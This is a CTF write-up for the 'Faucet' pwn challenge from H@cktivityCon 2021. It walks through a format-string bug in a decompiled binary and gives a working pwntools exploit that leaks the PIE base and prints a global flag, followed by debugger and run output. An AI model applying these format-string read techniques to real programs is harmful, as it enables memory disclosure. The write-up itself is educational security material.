# H@cktivityCon 2021 CTF
## Faucet
> My faucet has a little leak. I really should get it fixed before it causes any damage... > > 413> > [`faucet`](faucet)>> author: @M_alpha#3534
Tags: _pwn_ _x86-64_ _format-string_
## Summary
Basic _print arbitrary string_ with a format-string attack.
## Analysis
### Checksec
```    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled```
Finally, all mitigations in place.
> BTW, this is the _default_ behavior of `gcc`.
But don't panic because this is a format-string challenge.  Format-string attacks, IMHO, are the most powerful exploits because you can read and/or write any location (assuming the location is readable and/or writable). 
### Decompile with Ghidra
```cvoid buy_item(void){  int iVar1;  size_t sVar2;  long in_FS_OFFSET;  char local_38 [40];  long local_10;   local_10 = *(long *)(in_FS_OFFSET + 0x28);  printf("What item would you like to buy?: ");  fgets(local_38,0x20,stdin);  sVar2 = strcspn(local_38,"\n");  local_38[sVar2] = '\0';  iVar1 = strcmp(local_38,"hammer");  if (iVar1 == 0) {    hammer = 1;  }  else {    iVar1 = strcmp(local_38,"wrench");    if (iVar1 == 0) {      wrench = 1;    }  }  printf("You have bought a ");  printf(local_38);  puts("\n");  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {    __stack_chk_fail();  }  return;}```
The `printf(local_38);` vuln is in function `buy_item`, however our attack is limited to `0x20` (32) bytes since that is all `fgets` reads in (31 actually since `fgets` will null terminal the final byte).  But, we can buy as many items as we like.
This challenge would have been more fun if that was it, however in `main`:
```undefined8 main(void){  undefined4 uVar1;  FILE *__stream;   __stream = fopen("flag.txt","r");  if (__stream != (FILE *)0x0) {    fgets(FLAG,0x100,__stream);```    
the flag is read into the global variable `FLAG`.
> Just double-click on `FLAG` in Ghidra to see that it is a global.
To print the flag we need to first leak the base process address (PIE is enabled), then we can use that to compute the location of `FLAG` and then `printf` it.
> If you're new to format-string exploits then read [dead-canary](https://github.com/datajerk/ctf-write-ups/tree/master/redpwnctf2020/dead-canary) for some examples as well as [Exploiting Format String Vulnerabilities](https://cs155.stanford.edu/papers/formatstring-1.2.pdf) and [https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf](https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf).
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./faucet')
if args.REMOTE:    p = remote('challenge.ctf.games', 31230)else:    p = process(binary.path)
# get base addressp.recvuntil(b'[5]')p.sendlineafter(b'> ',b'5')p.sendlineafter(b': ',b'%10$p')p.recvuntil(b'You have bought a ')_start = int(p.recvline().strip(),16)binary.address = _start - binary.sym._startlog.info('binary.address: ' + hex(binary.address))
# get flagp.recvuntil(b'[5]')p.sendlineafter(b'> ',b'5')p.sendlineafter(b': ',b'%00007$s' + p64(binary.sym.FLAG))p.recvuntil(b'You have bought a ')log.info('flag: ' + p.recvline().strip().decode())p.close()```
The first pass sends the format-string `%10$p`; this will leak the location of `_start` from the stack:
```0x00007fffffffe310│+0x0000: 0x0000000068616c62 ("blah"?)	 ← $rsp, $rdi0x00007fffffffe318│+0x0008: 0x00007ffff7e4771a  →  <puts+378> cmp eax, 0xffffffff0x00007fffffffe320│+0x0010: 0x0000555555555740  →  <__libc_csu_init+0> endbr640x00007fffffffe328│+0x0018: 0x00007fffffffe360  →  0x00000000000000000x00007fffffffe330│+0x0020: 0x00005555555551e0  →  <_start+0> endbr64```
> To get this stack view set a break point at the offending `printf` (i.e. `b *buy_item+183`).>> I'm not going to cover how to determine the offset, the links I provided above as well as many of my write ups (see [INDEX.md](https://github.com/datajerk/ctf-write-ups/blob/master/INDEX.md)) cover this in detail.
The offset is `6` (it's almost always `6` with easy CTF challenges), so counting down to `_start` we end up with `10` as the parameter to pass to `%p` to leak a base address.
With the location of `_start`, we can compute the location of the binary address.
The second pass sends the format-string `%00007$s` with the location of `FLAG` to print the flag.  The padding is required to keep the stack aligned (8 bytes for the format string followed by 8 bytes for the location of of `FLAG`).  `7` because the offset is `6`, the format string is at parameter (offset) `6` and the parameter is next at offset `7`, hence `%00007$s`.
Output:
```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/hacktivityctf2021/faucet/faucet'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[+] Opening connection to challenge.ctf.games on port 31230: Done[*] binary.address: 0x563124cde000[*] flag: flag{6bc75f21f8839ce0db898a1950d11ccf}```